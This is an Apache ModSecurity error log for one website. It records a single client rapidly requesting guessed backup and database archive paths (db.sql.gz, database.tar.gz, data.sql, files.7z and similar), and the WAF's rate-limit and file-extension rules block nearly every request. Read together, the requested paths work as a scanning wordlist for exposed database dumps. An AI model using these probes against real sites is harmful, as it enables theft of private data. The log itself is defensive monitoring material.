[Fri May 15 09:56:50.642841 2026] [:error] [pid 1188:tid 1219] [client 34.97.8.90:53104] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.sql.gz"] [unique_id "agZ9YtY68iW8yuNkNzPwbAAAABY"]
[Fri May 15 09:56:51.408005 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:53106] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.sql.bz2"] [unique_id "agZ9Yx3WbFwE6voqGzrjwgAAARg"]
[Fri May 15 09:56:52.213352 2026] [:error] [pid 1188:tid 1218] [client 34.97.8.90:53122] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.sql"] [unique_id "agZ9ZNY68iW8yuNkNzPwbgAAABU"]
[Fri May 15 09:56:52.952933 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:53124] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.zip"] [unique_id "agZ9ZB3WbFwE6voqGzrjwwAAARE"]
[Fri May 15 09:56:53.696532 2026] [:error] [pid 1188:tid 1205] [client 34.97.8.90:53140] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.tar.gz"] [unique_id "agZ9ZdY68iW8yuNkNzPwbwAAAAg"]
[Fri May 15 09:56:54.454906 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:53152] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.tgz"] [unique_id "agZ9Zh3WbFwE6voqGzrjxAAAARM"]
[Fri May 15 09:56:55.212951 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:32982] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.tar"] [unique_id "agZ9Zx3WbFwE6voqGzrjxQAAAQ8"]
[Fri May 15 09:56:55.952648 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:32992] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.tar.bz2"] [unique_id "agZ9Z9Y68iW8yuNkNzPwcgAAABQ"]
[Fri May 15 09:56:56.783467 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:32998] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.tar.xz"] [unique_id "agZ9aAe36qIGegR4kcmAqwAAAFU"]
[Fri May 15 09:56:57.622719 2026] [:error] [pid 1190:tid 1262] [client 34.97.8.90:33008] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.7z"] [unique_id "agZ9adqiXrD7hne4gFbI_AAAAIo"]
[Fri May 15 09:56:58.484441 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:33018] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.rar"] [unique_id "agZ9at72N9CbeiqcqgPTEQAAAVU"]
[Fri May 15 09:56:59.258317 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:33034] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.gz"] [unique_id "agZ9a972N9CbeiqcqgPTEwAAAUg"]
[Fri May 15 09:57:00.030002 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:33042] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.bz2"] [unique_id "agZ9bN72N9CbeiqcqgPTFAAAAUA"]
[Fri May 15 09:57:00.826174 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:33058] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.zst"] [unique_id "agZ9bN72N9CbeiqcqgPTFQAAAVc"]
[Fri May 15 09:57:01.608624 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:33066] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.sql.gz"] [unique_id "agZ9bd72N9CbeiqcqgPTFgAAAU0"]
[Fri May 15 09:57:02.428775 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:33072] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.sql.bz2"] [unique_id "agZ9bge36qIGegR4kcmArgAAAEs"]
[Fri May 15 09:57:03.232889 2026] [:error] [pid 1189:tid 1245] [client 34.97.8.90:33086] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_backup.sql"] [unique_id "agZ9bwe36qIGegR4kcmAsAAAAFQ"]
[Fri May 15 09:57:03.963984 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:33090] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.zip"] [unique_id "agZ9bwe36qIGegR4kcmAsgAAAEM"]
[Fri May 15 09:57:04.677024 2026] [:error] [pid 1188:tid 1208] [client 34.97.8.90:33096] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.tar.gz"] [unique_id "agZ9cNY68iW8yuNkNzPwdQAAAAs"]
[Fri May 15 09:57:05.389296 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:50284] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.tgz"] [unique_id "agZ9cd72N9CbeiqcqgPTGwAAAUY"]
[Fri May 15 09:57:06.122491 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:50300] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.tar"] [unique_id "agZ9ct72N9CbeiqcqgPTHAAAAVM"]
[Fri May 15 09:57:06.870626 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:50316] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.tar.bz2"] [unique_id "agZ9ctmMhqLvs0GYixkbcwAAANI"]
[Fri May 15 09:57:07.658190 2026] [:error] [pid 1190:tid 1269] [client 34.97.8.90:50324] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.tar.xz"] [unique_id "agZ9c9qiXrD7hne4gFbJBAAAAJE"]
[Fri May 15 09:57:08.414655 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:50336] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.7z"] [unique_id "agZ9dN72N9CbeiqcqgPTIQAAAVU"]
[Fri May 15 09:57:09.237671 2026] [:error] [pid 1189:tid 1241] [client 34.97.8.90:50350] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.rar"] [unique_id "agZ9dQe36qIGegR4kcmAtgAAAFA"]
[Fri May 15 09:57:10.018120 2026] [:error] [pid 1190:tid 1262] [client 34.97.8.90:50364] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.gz"] [unique_id "agZ9dtqiXrD7hne4gFbJBQAAAIo"]
[Fri May 15 09:57:10.721747 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:50370] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.bz2"] [unique_id "agZ9dtY68iW8yuNkNzPwegAAAA4"]
[Fri May 15 09:57:11.500673 2026] [:error] [pid 1190:tid 1267] [client 34.97.8.90:50378] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.zst"] [unique_id "agZ9d9qiXrD7hne4gFbJCAAAAI8"]
[Fri May 15 09:57:12.240350 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:50380] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.sql.gz"] [unique_id "agZ9eAe36qIGegR4kcmAvQAAAFc"]
[Fri May 15 09:57:12.959144 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:50388] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.sql.bz2"] [unique_id "agZ9eNmMhqLvs0GYixkbdgAAAMs"]
[Fri May 15 09:57:13.693298 2026] [:error] [pid 1295:tid 1304] [client 34.97.8.90:50402] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/database.sql"] [unique_id "agZ9edmMhqLvs0GYixkbeAAAAMY"]
[Fri May 15 09:57:14.433881 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:50414] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.zip"] [unique_id "agZ9eh3WbFwE6voqGzrj0QAAARU"]
[Fri May 15 09:57:15.113776 2026] [:error] [pid 50531:tid 50536] [client 34.97.8.90:36508] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.tar.gz"] [unique_id "agZ9ex3WbFwE6voqGzrj1AAAAQM"]
[Fri May 15 09:57:15.846180 2026] [:error] [pid 1188:tid 1215] [client 34.97.8.90:36514] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.tgz"] [unique_id "agZ9e9Y68iW8yuNkNzPwgAAAABI"]
[Fri May 15 09:57:16.557313 2026] [:error] [pid 1188:tid 1207] [client 34.97.8.90:36518] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.tar"] [unique_id "agZ9fNY68iW8yuNkNzPwggAAAAo"]
[Fri May 15 09:57:17.291906 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:36526] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.tar.bz2"] [unique_id "agZ9fQe36qIGegR4kcmAwAAAAFY"]
[Fri May 15 09:57:18.075336 2026] [:error] [pid 51234:tid 51245] [client 34.97.8.90:36538] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.tar.xz"] [unique_id "agZ9ft72N9CbeiqcqgPTJgAAAUk"]
[Fri May 15 09:57:18.824950 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:36554] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.7z"] [unique_id "agZ9ft72N9CbeiqcqgPTKQAAAVE"]
[Fri May 15 09:57:19.588561 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:36566] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.rar"] [unique_id "agZ9f9Y68iW8yuNkNzPwgwAAABM"]
[Fri May 15 09:57:20.338618 2026] [:error] [pid 1190:tid 1272] [client 34.97.8.90:36574] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.gz"] [unique_id "agZ9gNqiXrD7hne4gFbJEgAAAJQ"]
[Fri May 15 09:57:21.077056 2026] [:error] [pid 1190:tid 1256] [client 34.97.8.90:36576] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.bz2"] [unique_id "agZ9gdqiXrD7hne4gFbJFwAAAIQ"]
[Fri May 15 09:57:21.829014 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:36584] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.zst"] [unique_id "agZ9gQe36qIGegR4kcmAxQAAAEc"]
[Fri May 15 09:57:22.555958 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:36594] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.sql.gz"] [unique_id "agZ9gt72N9CbeiqcqgPTLAAAAVY"]
[Fri May 15 09:57:23.294081 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:36600] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.sql.bz2"] [unique_id "agZ9g9qiXrD7hne4gFbJGgAAAJg"]
[Fri May 15 09:57:24.047958 2026] [:error] [pid 1188:tid 1199] [client 34.97.8.90:36602] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/data.sql"] [unique_id "agZ9hNY68iW8yuNkNzPwhgAAAAI"]
[Fri May 15 09:57:24.781223 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:36618] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.zip"] [unique_id "agZ9hN72N9CbeiqcqgPTMgAAAUs"]
[Fri May 15 09:57:25.475438 2026] [:error] [pid 1295:tid 1322] [client 34.97.8.90:36632] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.tar.gz"] [unique_id "agZ9hdmMhqLvs0GYixkbfAAAANg"]
[Fri May 15 09:57:26.219406 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:36636] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.tgz"] [unique_id "agZ9ht72N9CbeiqcqgPTOgAAAVY"]
[Fri May 15 09:57:26.916451 2026] [:error] [pid 1295:tid 1313] [client 34.97.8.90:36652] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.tar"] [unique_id "agZ9htmMhqLvs0GYixkbfQAAAM8"]
[Fri May 15 09:57:27.576095 2026] [:error] [pid 1190:tid 1260] [client 34.97.8.90:36662] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.tar.bz2"] [unique_id "agZ9h9qiXrD7hne4gFbJHgAAAIg"]
[Fri May 15 09:57:28.306137 2026] [:error] [pid 1189:tid 1225] [client 34.97.8.90:36674] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.tar.xz"] [unique_id "agZ9iAe36qIGegR4kcmAyAAAAEA"]
[Fri May 15 09:57:29.013989 2026] [:error] [pid 1189:tid 1245] [client 34.97.8.90:36686] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.7z"] [unique_id "agZ9iQe36qIGegR4kcmAyQAAAFQ"]
[Fri May 15 09:57:29.666622 2026] [:error] [pid 50531:tid 50533] [client 34.97.8.90:36692] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.rar"] [unique_id "agZ9iR3WbFwE6voqGzrj5QAAAQA"]
[Fri May 15 09:57:33.578776 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:36736] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/files.sql"] [unique_id "agZ9jd72N9CbeiqcqgPTQwAAAVg"]
[Fri May 15 09:57:38.454017 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:37472] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.7z"] [unique_id "agZ9kt72N9CbeiqcqgPTTwAAAUQ"]
[Fri May 15 09:57:39.188026 2026] [:error] [pid 1188:tid 1219] [client 34.97.8.90:37474] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.rar"] [unique_id "agZ9k9Y68iW8yuNkNzPwjwAAABY"]
